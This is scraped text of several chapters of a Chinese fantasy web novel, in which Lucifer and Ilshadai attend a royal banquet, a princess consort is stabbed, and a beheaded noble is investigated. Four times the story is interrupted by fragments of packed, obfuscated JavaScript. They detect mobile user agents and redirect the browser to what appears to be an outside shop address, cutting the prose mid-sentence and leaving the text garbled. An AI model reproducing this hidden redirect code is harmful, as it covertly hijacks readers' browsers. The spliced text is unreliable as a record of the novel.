RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091914|195458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 德安王已经站在了主位王座前,目光扫过在场齐齐行礼的王公贵族与重臣,混浊的眼中也多添了几分思量,不知在想些什么。 路西法坐着一动不动,伊勒沙代也完全没有站起来的意思。 他对路西法的幻术很有信心。 在这种方面,路西法不会故意给他挖坑。 毕竟,从本质上来说,路西法没有认为过人类配和他们平起平坐。 人类的王又如何? 照样只配当他呼来唤去的一条狗。 杜维德安王果然对这边的情况毫无所觉,他坐上了王座,才让权贵们起身。 早已准备好的美貌侍从们纷纷搬着案几进来,给在场的权贵们排了座位,再引着他们入席。 随即便是摆上美酒佳肴,请权贵享用。 仅是这些当然不够,歌舞自然也得献上。 身姿柔软的舞姬披着缀了金铃的纱帛,清脆的铃声混着乐声伴奏,随着她们的翩翩舞步响起。 这时,才从王座侧面纱帐里走出一位夫人。 她如场中每位贵夫人一样穿着锦缎衣裙,戴着金饰玉坠,然而相比起她们的春风满面,她却显得有些憔悴,眉心里透着藏不住的倦色。 她本是低调地由一个中年侍女扶着出来,然而一见到她,阿图略鲁亲王和狄曼图雅都站了起来,一起走向她,霎时便吸引了全场的注意力。 “呀,王妃这是怎么了?竟然没和亲王与大小姐一起?” “听说这段日子王妃都在城郊那座神坛住着,给她逝去的父母亲族祈福,许是不同路吧。” “唉,王妃也是可怜,嫁给亲王不久后全家人都被乱臣贼子派的杀手害了,原本她父亲可是出身贵族的重臣呢。” “但她还是命好,亲王对她多年如一日,狄曼图雅小姐也孝顺有加,你我哪里羡慕得来?还是可怜可怜自己吧。” “不过王妃瞧着怎么这么憔悴疲惫?祈福有这么累吗?” “你懂什么,王妃很是诚心呢,祈福时期不辞辛苦,几乎都不出神坛。” 权贵到底也是凡人,都压低声音窃窃私语议论着这位身份贵重的夫人。 他们只顾或同情或羡慕地看着她,却没注意到,当阿图略鲁和狄曼图雅靠近她时,她下意识地退了一步。 中年侍女连忙轻轻抵住她的后腰。 王妃这才回过神来似的,疲惫的脸上努力露出个笑:“抱歉,我来晚了。” “没关系,你这段时间太累了。”阿图略鲁上前顶替侍女扶着她,又朝杜维德安王歉意笑道,“还望王上勿怪。” 杜维德安王掀了掀眼皮,只往他们这边瞥了一眼,冷淡道:“来了就坐下,我们是一家人,我不会跟她计较。” 王妃默默行了一礼,然后便回到自己的位置。 狄曼图雅几次想与她说话,却因她的倦怠抗拒而不敢开口。 伊勒沙代将这一切尽收眼底。 路西法又凑过来,半认真半开玩笑地问:“看得这么认真,是看出什么了?” 伊勒沙代看向他,回道:“路西,你知道圣父眼里的众生是什么样的吗?” 路西法诚实地摇头。 “在祂的眼中,万千众生之间都连着无数条线,从因到果,从爱到恨,从初见到结局,清晰明了。” 路西法好像是听懂了,煞有介事地点头,抬起胳膊压在他肩上,笑眯眯地开口。 “那么,你是怎么知道的呢? “还是说……你能用祂的眼睛?” 71. 祂没有爱 伊勒沙代也看着他。 “如果我说是,你会不会立刻再扇我一巴掌?” 路西法假装思考了一下,回答道:“应该会。” 伊勒沙代沉默片刻,道:“那我还是不说了吧。” 路西法意味不明地哼笑一声。 他掐着伊勒沙代的下颏强迫他去看向宴会厅中央。 伊勒沙代目光扫了一圈,确认路西法想让他看的是阿图略鲁亲王一家的位置。 毕竟其他人对于路西法来说乏善可陈。 只见王妃入座之后,便看向中央正起舞的舞姬,但立刻就僵住,她睁大了眼睛,掐紧了身边侍女的手。 侍女连忙紧紧握住她的手,几不可察地对她摇头。 王妃靠在侍女身上,脸色苍白。 她不知想到了什么,忽地看向狄曼图雅。 狄曼图雅还在默默伤神,察觉到了母亲的目光,马上抬起头看向她。 王妃张了张嘴,迟疑了半晌,只道:“你怎么好像哭过?” 听闻她的话,狄曼图雅躲闪着回答:“母亲,我没事,就是摔了一跤,有点疼。” 王妃迟钝地点点头,没再问下去,收回了视线,继续看歌舞。 但她握着茶杯的手在抖。 待到这一场歌舞结束,舞姬们迈着轻盈优美的步伐退场,她才松了紧绷的神经。 “堂嫂,你看上去可不太好啊。” 这道笑嘻嘻的声音一出,王妃便皱起了眉。 这整座宴会厅里能这么没大没小不顾场合的只有一个人。 她冷漠回道:“不劳你费心,莫涅弋南公爵。” “哎呀,你怎么还是这么见外呀堂嫂,咱们都成一家人多久了?你又不是没把自己当我们家的人,做什么还那么生分?不过咱们现在就是不当一家人也不成,毕竟你看你这亲女儿都这么大了。”莫涅弋南嬉皮笑脸地随口胡说。 他向来不讲分寸,大多数王公贵族都习惯了他的不着调,说话行事只图自己快乐不顾他人死活,也没人把他的话放在心上。 只觉得王妃倒霉,怎么心情不好还遇上这混世魔王逮着她胡言乱语。 所以也没多少人发现,王妃的脸色随着他的话一点点变差。 狄曼图雅倒是发现了,她忍无可忍地瞪着莫涅弋南:“你还记得我母亲是你的堂嫂?知道还这般无礼?” 莫涅弋南无所谓地笑笑:“你就当我在欺负她娘家没人咯。” 王妃家中所有人都被杀手灭口。 她能倚仗的也就只有夫家了。 而莫涅弋南恰巧在她夫家地位非凡,杜维德安王看他顺眼,一向惯着护着他。 纵使是阿图略鲁亲王也不会拿他怎么样。 所以就算他这话说得委实扎心又刺耳,引得众人纷纷侧目,竟然也没一个人敢出来指责。 毕竟…… 也是事实啊。 王妃家里都没人了。 谁会为她出头得罪莫涅弋南公爵呢? 狄曼图雅猛地站了起来,怒目圆睁:“莫涅弋南,你不会说话就把嘴闭上!我看你那条舌头长着也没用,不如拔了的好!” 莫涅弋南大惊失色:“她是你母亲,我就不是你的堂叔了吗?小丫头片子,枉费我那么疼爱你了!” 狄曼图雅忍无可忍,怒骂道:“你给我滚出去!” “给你?你是什么人?这里是你家吗?是你家的话那也是我家,我在我家为什么要滚出去?”莫涅弋南不仅不滚,屁股坐得很稳,甚至还相当嚣张地加上了互动环节,冲着另一侧不知何时鸦雀无声的权贵们发问,“你们说,我该滚出去吗?” 许多权贵都下意识顺着他的话摇头。 莫涅弋南得意地回头看着狄曼图雅。 狄曼图雅被他气得胸口起伏不定,当时要绕过案几来动手。 只是在她路过王妃那一边时,一直愣愣出神的王妃蓦地伸手抓住了她的裙摆。 “母亲?”狄曼图雅看着她,年轻的脸上既愤怒又不解。 王妃眨了眨眼,缓缓开口:“算了,图雅,他说的也是实话。” “可他明明就是想……”狄曼图雅又急又恼。 “听话,坐回去!”王妃难得严肃正色道。 见她坚持,狄曼图雅只能满面委屈地坐了回去,紧紧抿着唇不出一言。 王妃朝着上首垂头,谦卑道:“图雅不懂事,还请王上看在她年少无知的份上宽恕她。” 她姿态如此低微,让狄曼图雅一下子就落了泪。 她还是觉得不解,她只是很难过。 杜维德安王一直好像没看见这场闹剧似的,直到现在才转过头,看着她的眼神满是不耐烦:“行了,小孩子吵两句嘴而已,你做出这副样子干什么?” 好似这“吵两句嘴”中心被针对的不是她一般。 王妃便也不再说什么。 宴会还在继续,又上了一场新的歌舞,这次是大气磅礴,极具力量感的风格。 狄曼图雅埋着头独自走了出去。 看样子是去找地方哭了。 王妃看着她远去的身影,眉头紧皱,迟疑了会儿,还是让侍女扶着她起身跟了上去。 “要去看看吗?”路西法问伊勒沙代,实际上他却已经站起了身。 伊勒沙代顺从地也起身,一旁的阿斯蒙蒂斯不明所以,但也跟着起来。 三人就这么正大光明地出了宴会厅,却没一人发现。 狄曼图雅果真在后花园对着榕树落泪。 方才第一场歌舞退场的舞姬们恰巧路过,她们互相看了一眼,还是围了上去,询问她为何哭泣。 狄曼图雅难为情地擦了擦眼泪,却不知道该说什么。 她见这些素昧平生的姑娘对她都这般温柔关切,又想起杜维德安王的冷嘲热讽和莫涅弋南的咄咄逼人,以及那些名义上的血亲的冷眼旁观暗中看戏,一时之间又泪流不止。 为什么偏偏那帮人是她的亲戚呢? 只是她的苦闷没法告诉这些姑娘。 她再蠢笨也知道,她们听说了这些不该知道的皇室秘闻会有怎样的下场。 所以她只是摇摇头,勉强地笑着送别她们。 她们知道她身份尊贵,所以也都不再多问,三三两两地离开。 只剩一个姑娘,她还在原地,站在狄曼图雅旁边看着她。 这一批舞姬献完舞之后为防某些权贵宴会后色|心大动来找人,都戴上了面纱,这姑娘也不例外。 狄曼图雅只觉得她的眼神很奇怪。 跟方才那些姑娘好像不一样…… 她迟疑地问:“有什么事吗?” 那姑娘没说话。 她上前一步,绕着狄曼图雅走了一圈,上上下下地仔细打量她。 狄曼图雅被她的目光看得很是不自在,有些汗毛倒竖的感觉。 姑娘走了一圈,停在她跟前,从嗓子里溢出一声笑。 狄曼图雅这才发现,她的嗓音很沙哑。 像用嗓过度之后的样子。 “你……”狄曼图雅眉心微蹙。 “快跑!” 惊叫声与骤然出鞘的刀刃一起出现,狄曼图雅还没反应过来,就被一股力量推开。 那把刀刃直直捅|进了王妃的身体。 “母亲……母亲!”狄曼图雅一愣以后扑上前,接住王妃的身体,对着同样呆住的侍女大喊,“快去叫人!叫医匠过来!” 侍女反应过来,慌慌乱乱地朝着宴会厅那边跑过去。 舞姬怔怔地看着王妃痛苦的面容。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091915|195458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兀地,她发出了一声嘶哑凄厉,不像人般的尖叫。 王妃看着头顶的榕树,眼神渐渐失焦,鲜血不断从她伤口里涌出来,狄曼图雅努力去捂住伤口,但止不住血,还是从她指缝里流出来。 “母亲……母亲……您不要吓我,求求您……” 王妃张着嘴,强忍着痛楚,拼尽全力发出声音:“走……快走!别管……快走!” “我不走,我不走!”狄曼图雅紧紧抱着她的身体,泪如雨下。 那边的舞姬却如梦初醒一般,拎起衣裙往外跑。 在转角处,她的身影被吞没在了一片黑影中。 * 听闻出事,阿图略鲁亲王率先赶来,宫殿备下的医匠也连忙过来处理王妃的伤势。 但那一刀正中王妃的心脉,又失血过多,所有医匠看过之后都惊慌地摇头。 “废物!一群废物!”阿图略鲁再也撑不住涵养,怒骂道。 他紧紧握住王妃的手,咬牙道:“我会救你的,我一定能救你。” 但王妃的眼神却渐渐迷离了。 人之将死。 其他权贵终于簇拥着杜维德安王姗姗来迟,宫殿的一队侍卫将这里围了起来,另一队则去抓那些舞姬。 杜维德安王看着倒在地上的王妃,重重地冷哼一声,像是烦躁到极点,但在看到阿图略鲁慌乱的脸时,他才不耐烦道:“莫涅弋南,你不是带了那个下贱的祭山族人来?那些平民不都说他医术高超,让他出来给王妃看看,若是医好王妃,我自有赏赐,若是医不好,那就是沽名钓誉招摇撞骗,处死吧。” 莫涅弋南被点到名,不由得一愣,他下意识去人群里找伊勒沙代的身影,却没看到他。 奇怪,刚刚还在呢。 但他正寻思干脆说伊勒沙代已经走了时,却见两侧权贵让开,人群尽头正是伊勒沙代。 伊勒沙代没有多言,他穿过人群,走向王妃,示意阿图略鲁和狄曼图雅都让开。 他背对人群,取下王妃发间饰品上的金丝,又扯下她绢帕上一根线,就这么缝上了她胸前的伤口。 在他缝合好之后,王妃的伤口竟然果真不再流血。 他像是出于避嫌考虑,又让阿图略鲁过来抱起王妃去干净的房间,但阿图略鲁却抱得极为吃力,跌跌撞撞。 狄曼图雅看得心急,干脆接替他抱过王妃,她抱得很稳,三步并作两步匆匆前往房间。 众人各怀心思,但都连忙跟上。 几个侍卫留在伊勒沙代身边。 看似保护,实则监视。 莫涅弋南也留了下来。 他又是那副没心没肺的模样,现在大家或真或假都表现得为王妃心急焦虑,他却还是嬉皮笑脸的。 甚至还在自言自语。 “死丫头,还说我不疼她?这不是又救她一命了?” 伊勒沙代瞥他一眼,道:“但这并不是她想要的。” 此言一出,他耳边响起一声嗤笑。 不是莫涅弋南,他皱着脸不想听伊勒沙代的教训,直接溜走了。 是路西法。 “难为你还会说这种话。” 糟了。 伊勒沙代缓慢地眨了眨眼。 比起方才杜维德安王那番威胁之言,撒旦陛下这句轻飘飘不带任何含义似的话,却让他如临大敌。 他想了想,开口毫不犹豫地给全世界最武断专横的主宰挖了个坑:“尊重对方的意见才是‘爱’的基础。” 路西法冷笑一声:“可惜有人不懂呢。” “那他不能拥有‘爱’。”伊勒沙代眼都不眨地回道。 “我想也是。”路西法皮笑肉不笑,却伸手牵住了伊勒沙代。 “走吧,为了你的小命,这场闹剧还没结束呢。” 72. 技不如人 王妃的情况已经好了很多。 好得让刚才连连摇头表示她没救了的医匠们霎时汗如雨下跪地求饶。 他们既惶恐又不解。 不可能……不可能! 那一刀正中王妃的心脉,她怎么还能活着? 但现在,她就是活着。 他们顶着权贵们审判的视线,在讥笑和窃窃私语中逐渐崩溃。 终于有人承受不住,尖叫出声:“魔、魔物!对,他一定是使用了什么魔鬼的法术……他和魔鬼做了交易!” 魔鬼在一旁听得想笑。 那倒不是做了交易。 伊勒沙代可狡诈着呢,怎么会给自己留下这样的把柄。 技不如人,还是输给一个乡野来的无名之辈,他们这些在王城里被追捧得心高气傲的医匠确实也该痛苦难受。 以后这些权贵们还会怎么看待他们呢? 尸位素餐的无能废物? 其实他们某种意义上也代表了权贵们的脸面。 所以…… 他们接下来迎接的是身败名裂和死亡。 除非,他们能把这件事按死在这座宫殿里。 可用的方式包括但不限于杀了伊勒沙代和说他是恶魔的合伙人。 前者难度比较高,毕竟伊勒沙代虽然看上去亲和无害,但光凭身高就能俯视众人。 还是后者可行度高一些。 利益关联,舍不得他们的权贵也适时帮腔:“这人出现得太巧了,你们不觉得,他一出现在王城,就发生了很多奇奇怪怪的事吗?以前可没这么乱过。” 以前也没风平浪静过。 只是他们关上府门,就可以当做什么也没有发生,继续过醉生梦死的日子。 伊勒沙代的出现只是让他们不能把那些底层人的苦痛再轻轻松松掩盖在纸醉金迷的生活之下了而已。 而打破局面的人,总会被原本的既得利益者憎恨,他们只会认为这份落差全因他而起。 路西法很乐意看到这情形。 但可惜,伊勒沙代不能死在这时候。 他还需要用他。 所以他发挥了平生最大的仁慈,也就是,没有上去添把火。 而身处舆论风暴中心的伊勒沙代本人看上去格外冷静。 衬得其他人都像疯子。 看着就很…… 让人不爽。 路西法想,要是他作为人类权贵面对这样的伊勒沙代,也很难不起杀心。 虽然现在也有就是了。 “住口!你们怎么能因为自己技不如人就这样污蔑!”狄曼图雅握着王妃的手,回头怒骂,她气得不轻,一双眼哭得赤红。 在她看来,伊勒沙代现在就是恩人,自然不会容许有人诬陷他。 路西法暗道可惜。 她还是太善良……不,软弱了。 难怪杜维德安王永远看她不顺眼。 若非不能,他应该挺想亲手杀了她的。 不过也仰赖她这副性情,她才能活到现在。 路西法又看向在场的权贵们,他记得其中好几个把控着医药相关的产业牟取暴利,派去伊勒沙代住处的杀手大多应该都是出自于他们,但他们此刻脸上只有些紧张,像是在衡量要不要跟着落井下石。 毕竟他们也是最知道伊勒沙代有多神秘莫测,难以估量的。 不过让他失望的是,这些权贵们嘴上一个比一个叫得厉害,一看见伊勒沙代出现,却个个闭着嘴乖乖让出通道。 比对杜维德安王还恭顺。 路西法在心里直骂他们没骨气的废物。 但想想也正常,他们要有骨气有胆识也不至于把这整个国度搅成这样了。 就连那些医匠也是,他们对着伊勒沙代战战兢兢,刚才还说他与魔鬼合谋,现在他来了,却只敢眼睁睁看着他靠近床榻上的王妃,还吩咐他们:“烧热水来,今晚得安排人守着她,免得起烧。” 狄曼图雅自告奋勇:“我来吧,我今晚守着母亲。” 伊勒沙代点点头。 他倒是无所谓谁守着王妃,反正,经过他的手,王妃已经不会死了。 只是受不受罪的差距而已。 一场宴会就这么潦草收场,今日天色已晚,杜维德安王给他们都安排了房间,各自有侍女领着他们前去。 阿图略鲁为表感谢,特意吩咐侍女给伊勒沙代调换到了最高规格的房间,和他同等。 在伊勒沙代的要求下,侍女去二道门外替他将约里带进来。 莫涅弋南就在这时候凑了过来,冲他挤眉弄眼:“看不出来,你竟然是有真本事的啊,我还以为……” 他笑了一声,没说下去,但听者都懂。 以为伊勒沙代只是打着圣子的名义壮大势力,本身或许压根什么都不会。 反正,一张嘴能唬住人,再配上一点点真本事和故弄玄虚的能耐,多少就能把痛苦之中的人们吸引过来了。 这种事,莫涅弋南见得多了。 “若我没本事,公爵也不会特意来领我进这宫殿赴宴。”伊勒沙代不留情地点破他的小心思,“想来公爵应该早就知道宴会上会有致命的事发生了。” “我不是说过,圣殿祭祀那些本事我都会嘛。”莫涅弋南也不恼,笑呵呵道,“我是看出来今天必有人要有血光之灾的呀,你看,我还歪打正着帮你扬名了,我这报恩不错吧?” 他说话就爱胡搅蛮缠,没理也能多三分。 路西法看着莫涅弋南,忽地开口:“他还真是个人才。” 要是能留在地狱就好了。 感觉能去玛门手底下锻炼出来,日后也不失为一个有能力的好下属。 路西法摸了摸下巴,开始思考起可行性。 地狱原生恶魔大多带点蠢,光会做坏事,却不知道怎么聪明地做坏事,路西法对他们综合评价之后总结,他们大有所有魔的脑子都长到了玛门脑袋里的架势。 这样的当当马前卒还行,真让他们办点要紧事干什么都费劲,不添乱就是帮忙了。 而堕天使相较之下,胜在对他忠心耿耿,输在基本都没什么作恶的天赋。 毕竟是当了成千上万年的天使,习惯了干好事,一朝一夕也很难彻底扭转过来以前的习性,像阿斯蒙蒂斯那样身段灵活的是少数中的少数。 也因此,实力停滞不前,很难再有突破。 路西法在建设地狱的过程中总是感叹人才难求。 他出行时总带着一位魔王,也是有磨练他们的打算,带着他们多看多学,争取早日脑子开窍。 路西法也就能放开手去做更多的事了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091916|195458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他看着莫涅弋南的时间有点长,莫涅弋南便感觉浑身发凉,他立刻紧张地抓住了伊勒沙代的手臂:“圣子,我怎么感觉身上凉凉的,我是不是有哪里又病了?” 不是,就是被魔鬼盯上了而已。 莫涅弋南无比紧张,他这惜命的程度让伊勒沙代都有些无语。 他一本正经地答道:“或许是今晚思虑过度吓着了,见血的事总不是好事,不宜多遇。” 莫涅弋南深以为然,连忙问:“那该怎么办?” “回去好好休息一晚吧。” 莫涅弋南听罢,忙不迭告辞。 奇星已经被侍女领来,正在前方不远处等他,那张美丽的脸依旧面无表情:“听说有刺客?” “小事,没死人。”莫涅弋南摆摆手,拉着他脚步匆匆地走了。 路西法只能意犹未尽地收回视线,却见伊勒沙代正盯着他。 活像在看一个挽着妻子却对路边美人频频回眸的多情丈夫。 路西法没来由地有一点心虚。 但转瞬后他又理直气壮起来,他心虚什么?他对莫涅弋南又没有那方面的想法,看看怎么了? 下一秒,伊勒沙代垂眸,竟然主动伸手,牵起他的手,十指交握。 路西法一怔。 他还以为他会先质问他在打什么主意。 但伊勒沙代什么也没问。 他只是牵着路西法的手,和他一起安静地穿过花园。 杜维德安王为了打造这座宫殿费尽心血,几乎将整个国库搬空,花园里自然也全是精心培养的珍惜品种,其中竟然还有不少是来自于天界山脉深处的特有花草。 不难想象为了它们,有多少人送命。 就连在花草间翩跹的蝴蝶和萤火虫,都是杜维德安王派人专程去各地抓捕来的。 好的留下,不好的杀了。 在这一刻,人类的性命和花鸟鱼虫的等价。 路西法强迫自己想着这些,不把注意力放在他与伊勒沙代交握的双手上。 伊勒沙代的体温一向是他最喜欢的温度,现在连松紧也把控得很好,完全不会让他不适。 路西法想了半天,竟然完全找不到挑剔的理由。 他有一点苦恼了。 他不擅长应对这样的局面。 就算面对怎样的冲突甚至杀戮,路西法陛下都能面不改色从容应对。 但这是温情脉脉的暧昧。 他属实手足无措。 于是他试图挑起矛盾,破坏平静,转化成自己会的场面:“这座宫殿的奢华背后,每一寸都埋着无数人的尸骨。” “嗯。” “嗯”是什么意思? 他不该生气吗?不该不满吗? 路西法想说伊勒沙代敷衍,但伊勒沙代偏偏是看着他,很认真地回应的。 他还真是就这个想法。 路西法扯了扯嘴角,简直不知道还该说什么。 恰在此刻,午夜已到。 无论发生了什么,王城外的烟火都准时升起。 在这满天绚烂烟火中,伊勒沙代看着路西法,却道:“人间,该翻篇了。” 路西法似有所感,回看着他:“你是说……” “第一个被平民割下头颅的权贵,已经出现了。” 73. 无头尸首 次日一早,宫殿里就响起此起彼伏的尖叫声。 随即就是凌乱的脚步声和哭喊,持续了一阵以后,就被甲胄的动静胁迫着安静了下来。 路西法颇觉厌烦地按了按眉心。 大惊小怪,不就是死了个人? 他看向一旁面露疲色的伊勒沙代,语气嘲弄:“这就不行了?” 伊勒沙代一默。 好让人想入非非的一句话。 如果他不是当事人的话。 “……我现在是凡人,还是需要睡眠的。”伊勒沙代无奈道。 路西法哼笑一声,胡搅蛮缠:“只是让你陪我一晚不睡觉而已,这就受不了了?之前还说什么要来地狱,你这么脆弱,地狱养你有什么用?” 他好像,应该,不需要地狱养吧? 伊勒沙代想叹气。 算了,路西说什么就是什么吧。 不一会儿,莫涅弋南就带着他响亮的嗓门到了伊勒沙代的住处:“圣子,要命,要命啊!出大事了!” 约里率先一步打开门,紧皱眉头:“你说话注意点好不好?先生要谁命了?” 莫涅弋南毫无贵族形象地叉腰昂首:“本来就是啊!你快让开,我要跟圣子说。” 约里还要跟他对骂两句,就被奇星拉到了一边。 莫涅弋南连忙冲进去,屁股往凳子上一坐就开始噼里啪啦一通说:“刚才有侍女去叫我的一个表哥起床,结果发现,他死那儿了!而且他的头还被割了下来!” 偏偏此人贪花好色,不仅挑了个僻静的地方住着,夜晚还把所有侍从都遣走,到现在,他死了多久都没人知道,更别说知道谁割了他脑袋。 “我猜是他又对谁起了色心,人家不愿意,所以这才丧了命。”莫涅弋南面上没有一点儿同情恐惧之色,全是兴奋。 他的堂哥堂弟表哥表弟加起来能排出去二里地,他完全记不清谁是谁,能知道对方是他表哥就不错了。 至于死得这么可怕,他也没有什么唇亡齿寒的感觉。 反正他应该不会是被人割下头这么没品的死法,死后还被那么多人围观。 那也太惨了点。 公爵大人可是很爱面子的。 “然后呢?”路西法靠在伊勒沙代肩头,眼也不眨地看着莫涅弋南。 莫涅弋南这才发现他的存在,着实吓了一跳。 他下意识看了眼伊勒沙代,见他没反对,对于路西法这过分亲密的姿态也没表示出不适或羞赧,便挠了挠头,继续说下去:“也……也没什么然后了,就是有人吓破了胆,嚷着什么‘因果’啊、‘报应’之类的,就想直接跑出去,我那堂哥哪能允许,让他就这样疯疯癫癫跑出去指不定就要传出什么话呢,然后就叫了侍卫来,把人都扣押在那房间里,说,说请……哦,对,他让我来请你过去。” 莫涅弋南像是这才想起自己此行最主要的目的,揉了揉脸,不好意思道:“那我们现在就走?” 他也没什么这是为难了伊勒沙代的想法,他很相信伊勒沙代的脱身能力。 那些人加起来恐怕也不是伊勒沙代的对手。 包括他那王位上的堂兄。 看着凶猛的纸老虎罢了,又有什么好恐惧的呢? 伊勒沙代果然如他所料地没有拒绝,他拍了拍路西法的手,然后站起身,对他点点头:“走吧。” * 远隔着一条走廊,那股血腥气便怎么也压不住,夹杂着男女老少的抽泣,在青天白日里也分外瘆人。 伊勒沙代面不改色地在两侧握着寒光凛冽长刀的侍卫凝视下踏进那房间,一时间,所有人都看了过来。 他就顶着那些或恐惧或嫌恶的目光继续往前。 上首的杜维德安王沉着脸,握着权杖的手格外用力,看着他的眼神满是猜疑和怒火。 但路西法看得分明,那里面…… 还有一丝惊惧。 路西法心底叹气,摇了摇头。 他算是明白什么叫“老了不中用了”。 伊勒沙代甚至没针对他做什么呢,就吓成这样。 看来人类做多了亏心事,是真的很怕天国使者来敲门。 送上一份天罚大礼。 伊勒沙代像是没发现一样,径直去看死者。 路西法看了看四周,竟无一人提出他没行礼这件事。 好难过,好遗憾。 他本来还想看风水轮流转呢。 真是可恶的一群废物。 他只能百无聊赖地跟着伊勒沙代去看那个死人。 死得毫无争议。 路西法兴致缺缺,颇为嫌弃地别过头。 “看出什么了吗?”杜维德安王冷冰冰地问。 “杀人者没有经验,很害怕,断口处切面不平整,他手抖了。” 伊勒沙代说得很客观很诚恳。 他直白的描述把一群没见过这场面的权贵们吓得尖叫的尖叫,晕过去的晕过去。 莫涅弋南都一言难尽地看他一眼。 你这语气里……怎么,好像,还很遗憾对方害怕得手抖了啊! 这种情况是该追求切面平整光滑完美的时候吗……? 你难道不知道,杜维德安王是在怀疑你杀了这个人吗? 莫涅弋南撇撇嘴,忽地想起一事,忙道:“堂哥,圣殿不是说他们有门手艺,能复现死者见过的最后一个人吗?不如就将他们请来……” “不行!”杜维德安王想也不想就否决了他的提议。 路西法见状,心道,杜维德安和圣殿的关系真是越发坏了。 因利而聚,自然也会因利而散。 大祭司当初选中杜维德安是因为他势弱,能被圣殿使唤,然而杜维德安对圣殿也只有利用之心,一旦大权在握,要做的第一件事就是反向削弱圣殿的权力。 真叫他唏嘘啊。 想当初,杜维德安能见到他,还是大祭司从中出力的呢。 他正想着,却蓦地感知到了什么。 路西法的笑容扩大几分,他看向还在思考的伊勒沙代,幸灾乐祸地想,这回他真是要遭殃了。 不知道他又能有怎样的好运气逃脱呢? 正当此时,门外传来一道声音。 “王不想念我,我却是很想为王分忧的。” 众人循声望去,却见门口浩浩荡荡地站了一群人。 为首之人身着白色长袍,其上用璀璨的金线大片铺着蔷薇与祥云,他手中权杖顶端框着一颗光华流转的不知材质的晶石。 但最吸引人注意的,还是他脸上那张造型特异的面具。 那面具不似寻常的引人发笑或是恐惧的款式,反而是极尽模仿真人的面容,只是那惨白的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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杜维德安王压根不理利安维亚,侍卫们听从他的命令,抽|出长刀,走向那七个侍从。 “慢着!”大祭司冷喝一声。 侍卫们竟然也就停下了。 杜维德安王见状,站了起来,胸口起伏不定,脸色越发阴沉:“我让你们动手!” 侍卫们霎时左右为难。 利安维亚皱眉道:“我圣殿有秘术,可以查看凶手,王,其他六人都是无辜的,请让我一试。” 他说着请求杜维德安王的话,眼睛却看向了大祭司,在大祭司的颔首示意下,他便走向了那具无头的尸首。 伊勒沙代好心地让出了位置,站到了路西法旁边。 他不动还好,他一动,路西法就察觉到…… 那位大祭司,从进来开始,注意力一直紧紧粘在他身上。 同样的,他的心情,澎湃起伏,如海上滔天巨浪。 憎恶?嫌弃? 都不是。 好像是…… 恐惧。 74. 因已成果 利安维亚那边很快出了结果。 他没查出来。 利安维亚表情微变,看上去很是不可思议。 他自学成以后从未失手过。 杜维德安王见状,嗤笑出声,挥了挥手,那边的侍卫会意,又朝那几个嫌疑侍从走过去。 利安维亚顿时焦急地看向大祭司。 可惜,大祭司并不在意那几个侍从的生死。 他只是不想让杜维德安王好过。 于是他抬手,轻轻松松结成屏障,叫那些侍卫无法靠近。 杜维德安王的脸色差得如同蒙上了一层阴翳。 他看出来,今天的大祭司就是来挑衅的。 大祭司越过利安维亚,靠近那具头被割下来的尸体,毫不在意地揪着头发拿起一旁的头转了一圈,随后放下。 他对利安维亚道:“来,把他后脑的东西取出来。” 利安维亚一愣,立刻上前,在那颗头颅的后脑处细细摸索,不多时,他眼睛一亮,手指用力,竟然拔出了一根长针。 那针不似寻常,竟然是木制的,一经拔出,便在整个房间内散发着幽暗潮湿的诡异气味。 这下又晕过去了几个权贵。 利安维亚将长针放到一边,按上那颗头颅的脑门,片刻后就转身,还沾着血的手直直指向嫌疑侍从中的一人:“是他。” 其他侍从们尖叫着跑开,将那个少年暴露了出来。 他原本也瑟瑟发抖,但现在却诡异地平静了下来。 他抬起头,众人赫然见他左耳双环,右耳无环。 祭山族人。 许多目光霎时明里暗里又投向了伊勒沙代。 大祭司谁也没看,冷漠道:“带下去,处理了。” 少年平静地抬起头,看着面前站着的众人,忽地就笑起来。 他没有试图为自己抗辩,就那么平静地接受了命运。 他像一滩烂泥软肉一般被带走,属于他的结局自然不必说。 人命啊。 在这里,人与人之间的命可不同重。 哪怕他极有可能是被强迫无奈之下反抗失手杀人。 但没有人会在意他的委屈。 就连现在,权贵们关心的也只是能不能离开。 他们纵使没被吓晕过去的也是脸色惨白。 唯有莫涅弋南看上去竟然还挺好。 他还有心情一瞥大祭司,用所有人都能听到的声音嘟哝:“大祭司对这种祭山族秘法这么熟悉呀?” 利安维亚猛地转头盯着他:“公爵,慎言!” 莫涅弋南摊摊手,无赖道:“我说什么了?” 